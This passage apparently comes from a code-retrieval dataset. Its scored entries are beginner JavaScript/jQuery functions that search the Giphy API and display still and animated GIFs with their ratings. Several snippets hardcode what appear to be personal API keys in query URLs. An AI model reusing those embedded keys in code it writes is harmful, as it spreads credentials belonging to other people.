Saves the results as a variable\n\n var results = response.data;\n\n // For loop goes through each gif and adds these variables\n\n for (var i = 0; i < results.length; i++) {\n\n // Creates a generic div to hold the results\n\n var gifDiv = $('<div class=gifs>');\n var movieGif = $('<img>');\n \n movieGif.attr('src', results[i].images.fixed_height_still.url);\n\n // Displays the movie rating on hover\n\n movieGif.attr('title', \"Rating: \" + results[i].rating);\n movieGif.attr('data-still', results[i].images.fixed_height_still.url);\n movieGif.attr('data-state', 'still');\n movieGif.addClass('gif');\n movieGif.attr('data-animate', results[i].images.fixed_height.url);\n\n gifDiv.append(movieGif)\n\n\n $(\"#requestedGifs\").prepend(gifDiv);\n }\n\n });\n }", "title": "" }, { "docid": "6493320bfce9888bcab6db2ad340d6f4", "score": "0.74118227", "text": "async function fetchGifs() {\n try {\n const API_KEY = '0QfmpS6iiPES7vNCLxxDV91CBzxK35iV';\n const BASE_URL = 'http://api.giphy.com/v1/gifs/search';\n const term=sujetGif\n const resJson = await fetch(\n // `${BASE_URL}?api_key=${API_KEY}&q=dog&offset=100`,\n `${BASE_URL}?api_key=${API_KEY}&q=${term}&offset=100`,\n );\n const res = await resJson.json();\n\n setGifs(res.data);\n } catch (error) {\n console.warn(error);\n }\n } /// add facebook fresco", "title": "" }, { "docid": "b4b272c2a3f59437f8081670fc80a587", "score": "0.74054176", "text": "function getGif() {\n\n search = $(this).data('name');\n\n var offset = Math.floor((Math.random() * 1000) + 1);\n\n var queryURL = \"http://api.giphy.com/v1/gifs/search?q=\" + search + \"&apikey=8iB1yv88fnnwDTQ4Wm0yhxOghzzbO7Yq&limit=10&offset=\" + offset;\n console.log(this);\n\n $.ajax({\n url: queryURL,\n method: 'GET'\n }).then(function (response) {\n console.log(response);\n var results = response.data;\n console.log(results);\n if (results == \"\") {\n return false;\n }\n\n for (var i = 0; i < results.length; i++) {\n var gifDiv = $(\"<div>\");\n var gifName = $(\"<img>\");\n var rating = $(\"<h3>\");\n gifName.text(results[i].title);\n gifName.attr(\"alt\", results[i].title);\n gifName.attr(\"src\", results[i].images.original_still.url);\n gifName.attr(\"data-still\", results[i].images.original_still.url);\n gifName.attr(\"data-animate\", results[i].images.original.url);\n gifName.attr(\"data-state\", \"still\");\n gifName.addClass(\"newGif\");\n gifDiv.addClass(\"gifDiv\");\n rating.text(results[i].rating);\n gifDiv.append(gifName);\n gifDiv.append(rating);\n $('#gifDisplayArea').append(gifDiv);\n }\n });\n }", "title": "" }, { "docid": "e8ab1d5d121fe907c07c8ba552362059", "score": "0.7405272", "text": "function displayGifs() {\n var topic = $(this).attr(\"data-name\");\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + topic + \"&api_key=qrRjSyJ81cU7AMJ7hRJu6GqW6sF6nS8E&limit=10\";\n\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).done(function (response) {\n\n console.log();\n\n $(\".gifs\").empty();\n for (var i = 0; i < response.data.length; i++) {\n var gifDiv = $(\"<div>\");\n gifDiv.addClass(\"gifDiv\");\n gifDiv.html(\"<p>Rating: \" + response.data[i].rating.toUpperCase() + \"</p>\");\n\n var gifImage = $(\"<img src='\" + response.data[i].images.fixed_height_still.url + \"'>\");\n gifImage.addClass(\"gif\");\n\n var imageDiv = $(\"<div>\");\n imageDiv.addClass(\"play\");\n imageDiv.attr(\"data-state\", \"still\");\n imageDiv.attr(\"data-name\", topic);\n imageDiv.attr(\"data-still\", response.data[i].images.fixed_height_still.url);\n imageDiv.attr(\"data-animate\", response.data[i].images.fixed_height.url)\n\n $(imageDiv).append(gifImage);\n $(gifDiv).append(imageDiv);\n $(\".gifs\").append(gifDiv);\n }\n\n });\n}", "title": "" }, { "docid": "dee96221e9a5e0d139bbf189e87d1ee4", "score": "0.7402976", "text": "function getGIFS (queryURL) {\n $.ajax(\n {url: queryURL,\n method: \"GET\"})\n .then(function (response) {\n console.log(response.data)\n let data = response.data;\n for (i=0; i < data.length; i++){\n\n //building new imageWrapper (to allow absolute position of rating)\n var imageWrapper = $(\"<div>\")\n imageWrapper.css(\"position\", \"relative\");\n imageWrapper.css(\"display\", \"inline-block\");\n $(\".gifs\").prepend(imageWrapper);\n\n //building new gif\n var newImage = $(\"<img>\");\n newImage.css(\"display\", \"inline-block\");\n newImage.attr(\"class\", \"gif\");\n newImage.attr(\"data-state\", \"still\");\n newImage.attr(\"src\", data[i].images.fixed_height_small_still.url);\n newImage.attr(\"data-still\", data[i].images.fixed_height_small_still.url);\n newImage.attr(\"data-animate\", data[i].images.fixed_height_small.url);\n imageWrapper.append(newImage)\n\n //attaching rating to each gif\n var newRating = $(\"<p>\");\n newRating.text(data[i].rating);\n newRating.attr(\"class\", \"rating\");\n imageWrapper.append(newRating);\n }\n }\n )\n}", "title": "" }, { "docid": "43952fcab7e1f576e5d980b8560ed193", "score": "0.7395616", "text": "function displayGifs() {\n var food = $(this).attr(\"data-name\");\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + food + \"&api_key=qF26EQ71WEAdIYhWDmXlY3fLjbTDBcFC\"\n // queryURL.done(function(data) { console.log(\"success got data\", data); });\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function(response) {\n console.log(response)\n $(\".gif-view\").empty();\n for (var i = 0; i<response.data.length/2; i++) { \n var topicDiv = $('<div class=\"topic\">'); \n var image = response.data[i].images.fixed_height_still.url;\n var gif =response.data[i].images.fixed_height.url\n var rating = response.data[i].rating;\n topicDiv.attr(\"src\",image)\n topicDiv.attr(\"data-gif\", gif)\n topicDiv.attr(\"class\",\"topic-div\")\n topicDiv.attr(\"data-index\",i)\n topicDiv.attr(\"data-img\",image)\n topicDiv.append(\n '<figure>' + \n '<img class=\"gif\" src=\"' + image + '\">' +\n '<figcaption>' + '<b>Rating: ' + rating + '</figcaption></b>' +\n '</figure>' +\"<br>\"\n );\n // Display gifs on page\n $(\".gif-view\").append(topicDiv);\n }\n });\n }", "title": "" }, { "docid": "a45a4634b7a339093611bbb0acff948b", "score": "0.7393045", "text": "function displayGifs() {\n var selectedGif = $(this).attr(\"data-name\");\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + selectedGif + \"&api_key=\" + apiKey + \"&limit=10\";\n\n // Creating an AJAX call for the specific movie button being clicked\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function (response) {\n console.log(response)\n\n for (var i = 0; i < response.data.length; i++) {\n var still = response.data[i].images.fixed_height_still.url;\n var animated = response.data[i].images.fixed_height.url;\n var rating = response.data[i].rating;\n var imgDiv = `\n <div class = \"img-container\">\n <p>Rating: ${rating.toUpperCase()}</p>\n <img src=\"${still}\" class=\"giphy-gifs\" data-still=\"${still}\" data-animate=\"${animated}\" data-state=\"still\"/>\n </div>`;\n console.log(still);\n $(\".gifs-display\").prepend(imgDiv)\n }\n message();\n });\n }", "title": "" }, { "docid": "60fab32894cd5852f6e178e46613ec33", "score": "0.73927224", "text": "function displayGifs() {\n var gif = $(this).attr(\"data-name\");\n var queryURL =\n \"https://api.giphy.com/v1/gifs/search?q=\" +\n gif +\n \"&api_key=3foLy7DcuYZeUjqgPerhOsrwTNnRcY6r\";\n\n // creates ajax call\n $.ajax({ url: queryURL, method: \"GET\" }).done(function(response) {\n console.log(response.data);\n var results = response.data;\n for (var i = 0; i < results.length; i++) {\n var gifDiv = $(\"<div class=gifs>\");\n var showGif = $(\"<img>\");\n showGif.attr(\"src\", results[i].images.fixed_height_still.url);\n showGif.attr(\"title\", \"Rating: \" + results[i].rating);\n showGif.attr(\"data-still\", results[i].images.fixed_height_still.url);\n showGif.attr(\"data-state\", \"still\");\n showGif.addClass(\"gif\");\n showGif.attr(\"data-animate\", results[i].images.fixed_height.url);\n gifDiv.append(showGif);\n\n $(\"#gifsView\").prepend(gifDiv);\n }\n });\n }", "title": "" }, { "docid": "bd63498f5216f9a4e269229162abf31f", "score": "0.7381345", "text": "function createGifs() {\r\n\r\n\t// Storing the name of the animal on a given button in a variable.\r\n\r\n\tvar animalType = $(this).attr(\"data-name\")\r\n\r\n\t// Below are my Giphy API and the URL that will search Giphy for pictures of the animal in animalType.\r\n\r\n\tvar giphyKey = \"cb0e018da4bb492b89da79bdc13a1532\"\r\n\tvar queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + animalType + \"&api_key=\" + giphyKey + \"&limit=10\"\r\n\r\n\t// This AJAX GET request will generate the gifs.\r\n\r\n\t$.ajax({\r\n\t\turl: queryURL,\r\n\t\tmethod: \"GET\"\r\n\t})\r\n\r\n\t.done(function(response) {\r\n\r\n\t\t// The data returned by the API comes in the form of an array, which will be stored in the \"results\" variable.\r\n\t\tvar results = response.data\r\n\t\tconsole.log(response)\r\n\r\n\t\t// Looping over the \"results\" array and looking for pics with a G or PG rating.\r\n\t\tfor (var i = 0; i < results.length; i++) {\r\n\t\t\t\r\n\t\t\tif (results[i].rating !== \"r\" && results[i].rating !== \"pg-13\") {\r\n\r\n\t\t\t\t// Creating a div to hold each gif.\r\n\t\t\t\tvar gifHolder = $(\"<div class='animal-gif'>\");\r\n\r\n\t\t\t\tvar rating = results[i].rating;\r\n\r\n\t\t\t\t// Storing the rating of each gif in a variable, which will be added to a paragraph tag.\r\n\t\t\t\tvar p = $(\"<p>\").text(\"Rating: \" + rating);\r\n\r\n\t\t\t\tvar animalImage = $(\"<img>\");\r\n\r\n\t\t\t\t// Creating an image tag and giving it the src of an image returned by the API. Note that this version of the image will be static and non-animated.\r\n\t\t\t\tanimalImage.attr(\"src\", results[i].images.fixed_height_still.url);\r\n\r\n\t\t\t\t// Adding attributes and a class to each image. The \"gif\" class will be used as part of a event listener that will allow us to click on the images. The attributes will allow us to switch between the animated and non-animated version of each gif.\r\n\r\n\t\t\t\tanimalImage.attr(\"data-still\", results[i].images.fixed_height_still.url);\r\n\t\t\t\tanimalImage.attr(\"data-animate\", results[i].images.fixed_height.url);\r\n\t\t\t\tanimalImage.attr(\"data-state\", \"still\");\r\n\t\t\t\tanimalImage.addClass(\"gif\")\r\n\r\n\t\t\t\t// Appending the new image and paragraph to the \"gifHolder\" div.\r\n\t\t\t\tgifHolder.append(animalImage);\r\n\t\t\t\tgifHolder.append(p);\r\n\r\n\t\t\t\t// Each \"gifHolder\" div will be prepended to a div on the webpage.\r\n\t\t\t\t$(\"#gif-container\").prepend(gifHolder)\r\n\t\t\t}\r\n\t\t};\r\n\t})\r\n\r\n}", "title": "" }, { "docid": "27cd7adab324536e9d28c0dcc44abd2f", "score": "0.7368414", "text": "function displayDriverGIFS() {\n console.log(\"displayDriverGIFS\");\n\n // Get driver name\n var driver = $(this).attr(\"data-name\");\n console.log(driver);\n\n // Convert spaces to +\n driver = driver.replace(\" \", \"+\");\n console.log(driver);\n\n // API Key\n var apiKey = \"75MtWd9V1aiT89Iqyr5IwXaYyc8QOhqa\";\n console.log(apiKey);\n\n // URL to get gifs\n // var queryURL = \"https://api.giphy.com/v1/gifs/search/?q:\" + driver + \"&api_key:FZgPb9eOFOIWbjZGkchK4Apa12MjOUSz&limit:10\";\n var queryURL = \"https://api.giphy.com/v1/gifs/search?api_key=\" + apiKey + \"&q=\" + driver + \"&limit=10\";\n console.log(queryURL);\n\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function(response) {\n console.log(response);\n\n // Data array\n var data =response.data;\n console.log(data);\n\n // loop through gifs to load\n for (var i = 0; i < data.length; i++) {\n\n // Retrieving the URL for the image\n var imgURL = data[i].images.fixed_height_still.url;\n console.log(imgURL);\n\n // Create an element to hold the image\n var image = $(\"<img>\").attr(\"src\", imgURL);\n console.log(image);\n\n // Appending the image\n $(\"#gif-view\").append(image);\n }\n\n \n })\n}", "title": "" }, { "docid": "fe9f40bb829c5fd8775077a71dccc304", "score": "0.73630613", "text": "function addGif() {\n $('button').on(\"click\", function() {\n //clear out div before adding gifs\n $('#gifsAppearHere').empty();\n //grab name of button\n var p = $(this).data('name');\n //pulls gifs from gip\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + p + \"&api_key=dc6zaTOxFJmzC&limit=10\";\n $.ajax({\n url: queryURL,\n method: 'GET'\n })\n\n //when done, run this function on results adds the gifs pulled from giphy...had a lot of help from a friend with this part\n .done(function(response) {\n\n var results = response.data;\n\n //checks to see that api pulled results\n console.log(response);\n\n //for loop for results\n for (var i = 0; i < results.length; i++) {\n\n //\n //vars for gifs and ratings\n var gifDiv = $('<div class=\"item\">');\n var rating = results[i].rating;\n var p = $('<p>').text(\"Rating: \" + rating);\n var img = $('<img>');\n\n //sets gifs\n img.attr('src', results[i].images.fixed_height.url);\n img.attr('data-still', results[i].images.fixed_height_still.url);\n img.attr('data-animate', results[i].images.fixed_height.url);\n img.attr('data-state', 'still');\n img.attr('class', \"gifImages\");\n\n //sends results givs appear here\n gifDiv.append(p);\n gifDiv.append(img);\n $('#gifsAppearHere').prepend(gifDiv);\n\n \n\n }\n\n });\n });\n }", "title": "" }, { "docid": "e838b09d6b05bc1bdffcc33247bf3169", "score": "0.73618495", "text": "function renderGifs(results){\n\t\tfor (var i = 0; i < results.length; i++) {\n\t\t\tvar newDiv = $(\"<div class='item'>\");\n\n\t\t\tvar rating = results[i].rating;\n\n\t\t\tvar newP = $(\"<p>\").text(\"Rating: \" + rating);\n\n\t\t\tvar teamImage = $(\"<img>\");\n\n\t\t\tteamImage.attr(\"class\", \"gif\")\n\t\t\tteamImage.attr(\"src\", results[i].images.fixed_height.url);\n\t\t\tteamImage.attr(\"data-animate\", results[i].images.fixed_height.url);\n\t\t\tteamImage.attr(\"data-still\", results[i].images.fixed_height_still.url)\n\t\t\tteamImage.attr(\"data-state\", \"animate\")\n\n\t\t\tnewDiv.prepend(newP);\n\t\t\tnewDiv.prepend(teamImage);\n\n\t\t\t$(\"#gifs-appear-here\").prepend(newDiv);\n\t\t}\n\t}", "title": "" }, { "docid": "b64eb9443d4594c92d7ca3c807b9cc94", "score": "0.7349662", "text": "function giphyCall() {\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function (response) {\n for (var i = 0; i < 10; i++) {\n var gifDiv = $(\"<div class='gif float-left col-2'>\");\n var rating = $(\"<p>\").text('Gif Rating: ' + response.data[i].rating);\n var gifStill = response.data[i].images.fixed_height_still.url;\n var gifAnimate = response.data[i].images.fixed_height.url;\n var gifHtml = $(\"<img class='img-fluid' src=\" + gifStill + \">\");\n gifHtml.addClass(\"gifImage image-fluid\");\n gifHtml.attr(\"src\", gifStill);\n gifHtml.attr(\"data-still\", gifStill);\n gifHtml.attr(\"data-animate\", gifAnimate);\n gifHtml.attr(\"data-is-still\", true);\n gifDiv.append(gifHtml, rating);\n $(\".gifArea\").append(gifDiv);\n };\n });\n}", "title": "" }, { "docid": "376e9520addf7ee0c0284c9956673801", "score": "0.7348346", "text": "function getGif(){\n //var gifIndex = Math.floor(Math.random() * LIMIT-1) + 1;\n console.log(\"gif index: \"+ gifIndex);\n var searchTerm = document.getElementsByName(\"search-term\")[0].value;\n findIfExistingKeyword(searchTerm);\n if (searchTerm != \"\"){\n xhr = $.get(\"http:\"+BASE_URL+\"\"+ENDPOINT+\"?q=\"+searchTerm+\"&limit=\"+LIMIT+\"&rating=\"+RATING+\"&api_key=\"+PUBLIC_KEY+\"\");\n xhr.done(function(data) {\n currentIMG = data.data[gifIndex].images.fixed_height_downsampled.url;\n //$('#gif-container').css('background-image', 'url(' + data.data[gifIndex].images.fixed_height_downsampled.url + ')');\n $(\"#gif-container\").html('<img width=\"100%\" height=\"100%\" src=\"'+currentIMG+'\"/>');\n console.log(\"success got data\", data);\n if (gifIndex<LIMIT-1){\n gifIndex++;\n }\n else {\n gifIndex = 0;\n }\n \n });\n }\n else {\n $(\"#gif-container\").html (\"ERROR: Please enter a valid search term\");\n }\n}", "title": "" }, { "docid": "e51b5f0988e5cf5660f3536d1461aa88", "score": "0.7342496", "text": "function gifRequest(topic) {\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + topic + \"&rating=g&rating=pg&limit=10&api_key=\" + apiKey;\n\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function (response) {\n var results = response.data;\n console.log(response.data);\n for (var i = 0; i < results.length; i++) {\n var gifDiv = $(\"<div class='gifDiv'>\");\n var ratingText = $(\"<p>\").text(\"rating: \" + results[i].rating);\n var stillGif = results[i].images.fixed_height_still.url;\n var animatedGif = results[i].images.fixed_height.url;\n var gifImage = $(\"<img class='gifImage'>\");\n gifImage.attr(\"src\", stillGif);\n gifImage.attr(\"data-state\", \"still\");\n gifImage.attr(\"data-animate\", animatedGif);\n gifImage.attr(\"data-still\", stillGif);\n gifDiv.append(ratingText);\n gifDiv.append(gifImage);\n $(\".gifContainer\").prepend(gifDiv);\n\n }\n\n });\n}", "title": "" }, { "docid": "236c0c46f6a64a8d8078da87d20a5c9d", "score": "0.7339286", "text": "function getGifs() {\n $(document).on('click', \".topics\", function () {\n $(\"#images\").empty();\n\n var topic = $(this).attr(\"data-name\"); //copying the data-name\n var apiKey = \"SmyC6pLugsHSOmSjmIrnBRtwz8RW1opF\";\n limit = 10;\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + topic + \".offset&api_key=\" + apiKey + \"&limit=\" + limit;\n\n console.log(queryURL);\n\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).done(function (response) {\n var results = response.data;\n console.log(results);\n\n // B. FOR LOOP TO DISPLAY IMAGES: ADDING DATA ATTRIBUTES \n for (var i = 0; i < results.length; i++) {\n\n var gifDiv = $(\"<div class='col-10 col-sm-2'>\")\n\n var rating = results[i].rating;\n var animatedImageUrl = results[i].images.fixed_height.url;\n var staticImageUrl = results[i].images.fixed_height_still.url;\n var p = $(\"<p class='font-weight-bold '>\").text(\"Rating: \" + rating);\n var imageDisplay = $(\"<img class= 'rounded'>\");\n\n // For Still / Animated Gifs\n imageDisplay.addClass(\"imageGiphy\")\n imageDisplay.attr(\"src\", staticImageUrl);\n imageDisplay.attr(\"data-state\", \"still\");\n imageDisplay.attr(\"data-still\", staticImageUrl);\n imageDisplay.attr(\"data-animate\", animatedImageUrl);\n\n $(gifDiv).append(p);\n $(gifDiv).prepend(imageDisplay);\n\n $(\"#images\").prepend(gifDiv);\n }\n });\n });\n }", "title": "" }, { "docid": "3b9ceabd497927c79287d9d73d373c72", "score": "0.7333329", "text": "function getGifs(){\r\n return fetch(url)\r\n .then(resp => resp.json())\r\n}", "title": "" }, { "docid": "5dc8e3ebe473db6b1ef7c336a6248494", "score": "0.73243624", "text": "function getGifs() {\n $(\"#animals\").empty();\n var animal = $(this).attr(\"data-name\");\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" +\n animal + \"&rating=g&rating=pg&api_key=vveZ7coNg1VSry5aSduXA0tFn6MLKDV6&limit=10\";\n console.log(this);\n \n\n $.ajax({\n url: queryURL,\n method: \"GET\"\n })\n .then(function(response) {\n var results = response.data;\n\n for (var i = 0; i < results.length; i++) {\n\n var gifDiv = $(\"<div class='item'>\");\n\n var rating = results[i].rating;\n\n var p = $(\"<p>\").text(\"Rating: \" + rating);\n\n var animalImage = $(\"<img>\");\n animalImage.attr(\"src\", results[i].images.fixed_height_still.url);\n// change to prepend if you want ratings after the gif\n gifDiv.append(p);\n gifDiv.append(animalImage);\n\n $(\"#animals\").prepend(gifDiv);\n// attempt to have gifs start as \"still\"\n animalImage.attr(\"data-gif-still\", results[i].images.fixed_height_still.url);\n animalImage.attr(\"src\", results[i].images.fixed_height_still.url);\n animalImage.attr(\"data-gif-animate\", results[i].images.fixed_height.url);\n animalImage.attr(\"data-state\", \"still\");\n }\n });\n }", "title": "" }, { "docid": "5b9653f3b5172a04d2e76a506278d54c", "score": "0.7315632", "text": "function displayGif(){\n\n\n\t\t$(\".gifsArea\").empty();\n\n\t\tvar animeName = $(this).attr(\"anime-name\");\n\t\tconsole.log(animeName);\n\n\t\tvar searchUrl = \"https://api.giphy.com/v1/stickers/search?q=\"+animeName+\"&limit=10&api_key=dc6zaTOxFJmzC\"\n\n\t\t$.ajax({\n\t\turl: searchUrl,\n\t\tmethod: \"GET\"\n\t\t}).done(function(response){\n\t\tconsole.log(response);\n\n //Adding Gifs loop.\n\t\tfor (var i = 0; i < response.data.length; i++) {\n\n\t\t\tvar gifImg = $(\"<img>\");\n\t\t\tgifImg.addClass(\"gif-image \");\n \t\tgifImg.attr(\"src\", response.data[i].images.fixed_height_small_still.url);\n \t\tgifImg.attr(\"alt\", animeName);\n \t\tgifImg.attr(\"status\", \"still\");\n \t\tgifImg.attr(\"status-still\", response.data[i].images.fixed_height_small_still.url);\n \t\tgifImg.attr(\"status-move\", response.data[i].images.fixed_height_small.url);\n \t\tcaptionDiv = $('<div class=\"caption\">' );\n \t\tcaptionDiv.html(\"<p> Rating: \"+response.data[i].rating);\n\n\t\t\t//Styling Divs.\n\t\t\tvar div2 = $(\"<div class='div2 col-sm-6 col-md-4'>\");\n\t\t\tvar div3 = $(\"<div class='thumbnail'>\");\n\t\t\tdiv2.html(div3);\n \t\tdiv3.append(gifImg);\n \t\tdiv3.append(captionDiv);\n \t\t$(\".gifsArea\").append(div2);\n\t\t}\n \t\tmoveStop();\n\t\t});\n}", "title": "" }, { "docid": "42706e25b6df9a7f7c5fd77cf5aaf036", "score": "0.72963816", "text": "function displayGifs() {\n //clear container for neatness\n $(\"#anime-gifs-container\").empty();\n\n //set var to anime title\n var anime = $(this).data(\"anime\");\n //set var for giphy url\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + anime + \"&rating=pg-13&api_key=dc6zaTOxFJmzC&limit=20\";\n\n //use ajax to get data\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).done(function(response){\n var results = response.data;\n\n for (var k = 0; k < results.length; k++) {\n //create var to create a <div> to hold each gif/rating pair\n var gifDiv = $(\"<div>\");\n //create var to hold rating\n var rating = results[k].rating;\n //create var to hold still gif\n var stillGif = results[k].images.original_still.url;\n //create var to hold animated gif\n var animatedGif = results[k].images.original.url;\n //create var to hold <img> tag with attributes.\n var animeGif = $(\"<img>\").attr(\"src\", stillGif).attr(\"data-state\", \"still\").attr(\n \"data-still\", stillGif).attr(\"data-animate\", animatedGif).attr(\"class\", \"gif\");\n //create var to hold <p> tag for rating\n var p = $(\"<p>\").text(\"Rating: \" + rating);\n\n gifDiv.append(animeGif);\n gifDiv.append(p);\n\n //append completed gifDiv to anime-gifs-container\n $(\"#anime-gifs-container\").append(gifDiv);\n };\n });\n}", "title": "" }, { "docid": "bd4ee29e4e57519e6e8f80d7edbb8ff2", "score": "0.7296342", "text": "function displayGif(){\r\n $(\".gif-content\").empty();\r\n $.ajax({\r\n url: queryURL,\r\n method: \"GET\"\r\n }).then(function(response) {\r\n console.log(response);\r\n\r\n for (i of response.data) {\r\n var image = $(`\r\n <div class=\"gif-wrapper\">\r\n <i class=\"far fa-heart favorite\" data-id=\"${i.id}\" data-fav=\"far\"></i>\r\n <img src=\"${i.images.fixed_width.url}\" class=\"gif-image d\" data-still=\"${i.images.fixed_width_still.url}\" data-animate=\"${i.images.fixed_width.url}\" data-state=\"animate\">\r\n <div class=\"gif-info\">\r\n <p>Rating: ${i.rating}</p>\r\n </div>\r\n </div>\r\n `);\r\n\r\n $(\".gif-content\").append(image)\r\n\r\n }\r\n })\r\n}", "title": "" }, { "docid": "1aa144b769ff135a26a5ea9353a0f962", "score": "0.7285637", "text": "function displayGif() {\n var gifTag = $(this).attr('date-name');\n var queryUrl = 'https://api.giphy.com/v1/gifs/search?' + apiKey + '&q=' + gifTag + '&limit=10&offset=0&rating=G&lang=en';\n\n $.ajax({\n url: queryUrl,\n method: 'GET'\n }).then(function (response) {\n console.log(queryUrl);\n console.log(response)\n var results = response.data\n\n for (var i = 0; i < results.length; i++) {\n var gifHolder = $(\"<div class='gif'>\");\n var rating = results[i].rating;\n // console.log(rating);\n var p = $(\"<p>\").text(\"Rating: \" + rating);\n var gifImg = $(\"<img>\");\n gifImg.attr(\"src\", results[i].images.fixed_height.url);\n gifImg.attr(\"data-animate\", results[i].images.fixed_height.url);\n gifImg.attr(\"data-still\", results[i].images.fixed_height_still.url);\n gifImg.attr(\"data-state\", \"still\");\n gifImg.addClass('gif');\n gifHolder.prepend(p);\n gifHolder.append(gifImg);\n\n $(\"#card-section\").prepend(gifHolder);\n }\n })\n}", "title": "" }, { "docid": "225fb93df0f42518a13570e222e599b7", "score": "0.727692", "text": "function viewGif(){\n var action = $(this).attr(\"data-name\");\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=doggo+\" + action + \"&api_key=1osmnosvKYDSRsGSzZzMF1goSdxg1dAD&limit=10\";\n console.log(queryURL);\n $.ajax({\n url: queryURL,\n method: 'GET'\n })\n\n .done(function(response) {\n console.log(response);\n //clears the div \n $(\"#displayGifs\").empty();\n //displays results of GIF searched \n var results = response.data;\n if (results == \"\"){\n alert(\"No Doggo GIF for selected button\");\n }\n for (var i=0; i<results.length; i++){\n// creating a div for the GIFs\n var gifDiv = $(\"<div>\");\n gifDiv.addClass(\"gifDiv\");\n\n //displays GF rating\n var gifRating = $(\"<p>\").text(\"Rating:\" + results[i].rating);\n gifDiv.append(gifRating);\n // adding rating to the GIF div section\n \n \n \n\n // displaying GIF\n var gifDisplay = $(\"<img>\");\n// accessing still image src\n gifDisplay.attr(\"src\",results[i].images.fixed_height_small_still.url);\n//accessing still image data \n gifDisplay.attr(\"data-still\",results[i].images.fixed_height_small_still.url);\n// accessing animated image data \n gifDisplay.attr(\"data-animate\",results[i].images.fixed_height_small.url);\n// setting state of image \n gifDisplay.attr(\"data-state\",\"still\");\n// accessing still image\n gifDisplay.addClass(\"image\");\n// adding GIF to the GIF div \n gifDiv.append(gifDisplay);\n $(\"#gifDisplay\").prepend(gifDiv);\n }\n });\n}", "title": "" }, { "docid": "d03d27d656a89f397357a33d04d9ffce", "score": "0.7275304", "text": "function gifCreate(offsetVal) {\n var representative = $(this).attr(\"data-representative\")\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + representative + \"&api_key=r2yx4XalMqrmoLmjtkv0m8m6N7jiAMTC&limit=\"+limit+\"&offset=\"+offsetVal;\n $.ajax({\n url: queryURL,\n method: \"GET\"\n })\n .then(function(response) {\n console.log(queryURL);\n var results=response.data;\n // loops through all of the results\n for (var i=0; i < results.length ; i++) {\n var gifDiv=$(\"<class = 'item'>\");\n \n var representativeImage = $(\"<img>\");\n \n representativeImage.attr(\"src\", results[i].images.fixed_width_still.url);\n representativeImage.attr(\"data-still\", results[i].images.fixed_width_still.url);\n representativeImage.attr(\"data-animate\", results[i].images.fixed_width.url);\n representativeImage.attr(\"data-state\", \"still\");\n representativeImage.attr(\"class\", \"gif\");\n \n gifDiv.prepend(representativeImage);\n \n $(\"#gifs-go-here\").prepend(gifDiv);\n var p = $(\"<p>\").text(\"Rating: \" + results[i].rating);\n $(gifDiv).append(p); \n \n \n \n };\n }); \n}", "title": "" }, { "docid": "553dbc0286aed7f226031061ca79bee5", "score": "0.72671723", "text": "function displayGifs() {\n $(\"#gifs\").empty();\n var name = $(this).attr(\"data-name\");\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + name + \"&limit=10&api_key=Wejq7Kof2nxeGqICbCSRGVOKcnTrjbo4\";\n // AJAX call for button being clicked \n $.ajax({\n url: queryURL,\n method: \"GET\"\n })\n .then(function (response) {\n var results = response.data;\n for (j = 0; j < results.length; j++) {\n var topicsDiv = $(\"<div class=\\\"gifs p-2\\\">\");\n var gif = $(\"<img>\").attr(\"src\", results[j].images.fixed_height_still.url);\n var p = $(\"<p>\").text(\"Rating: \" + results[j].rating + \" (click to animate)\");\n gif.addClass(\"still\");\n $(\"#gifs\").append(topicsDiv);\n topicsDiv.append(gif); \n topicsDiv.append(p); \n }\n });\n}", "title": "" }, { "docid": "8accea6c211af9056d490fff7b1e3ca0", "score": "0.7261425", "text": "function displayGIFs() {\n var show = $(this).attr(\"data-name\");\n var queryURL =\n \"https://api.giphy.com/v1/gifs/search?api_key=XL0cvri4mdJxFaANOrpJHxQ6v0hiBPkp&q=\" +\n show +\n \"&limit=100&offset=0&rating=&lang=en\";\n\n $.ajax({\n url: queryURL,\n method: \"GET\",\n }).then(function(response) {\n for (var q = 0; q < 10; q++) {\n var randomGIF = Math.floor(Math.random() * 100);\n var gifDiv = `\n <div class=\"col-12 col-sm-12 col-md-6 col-lg-4 pl-1 mb-1\">\n <img src=\"${response.data[randomGIF].images.fixed_height_still.url}\" \n class=\"gif\" data-id=\"${response.data[randomGIF].id}\"\n data-play=\"${response.data[randomGIF].images.fixed_height.url}\" \n data-pause=\"${response.data[randomGIF].images.fixed_height_still.url}\"\n data-state=\"pause\" alt=\"${response.data[randomGIF].title}\">\n <p>Title: ${response.data[randomGIF].title}</p>\n <p>Rating: ${response.data[randomGIF].rating}</p>\n </div>\n `;\n $(\"#output-view\").prepend(gifDiv);\n }\n });\n}", "title": "" }, { "docid": "948c7a1b7e834ffe7090b18efd427f0e", "score": "0.72462726", "text": "function displayGifInfo() {\n\n var gifSearchResult = $(this).attr(\"data-name\");\n\n // URL that utilizes the gif search result from the buttons created up to pg-13 and with 10 gifs \n var queryURL = \"https://api.giphy.com/v1/gifs/search?api_key=l0H0WniOrvNP9E3BWSJxy2EWJ5GWPGNY&q=\" + gifSearchResult + \"&limit=10&offset=0&rating=pg-13&lang=en\";\n\n // API key - l0H0WniOrvNP9E3BWSJxy2EWJ5GWPGNY\n // Creates AJAX call for the specific gif button being clicked\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function (response) {\n\n var gifsArray = response.data\n // $(\"#gifs-view\").empty();\n for (var i = 0; i < gifsArray.length; i++) {\n\n // Creates a div to hold the gif\n var gifDataToDiv = $(\"<div>\")\n\n /////////// 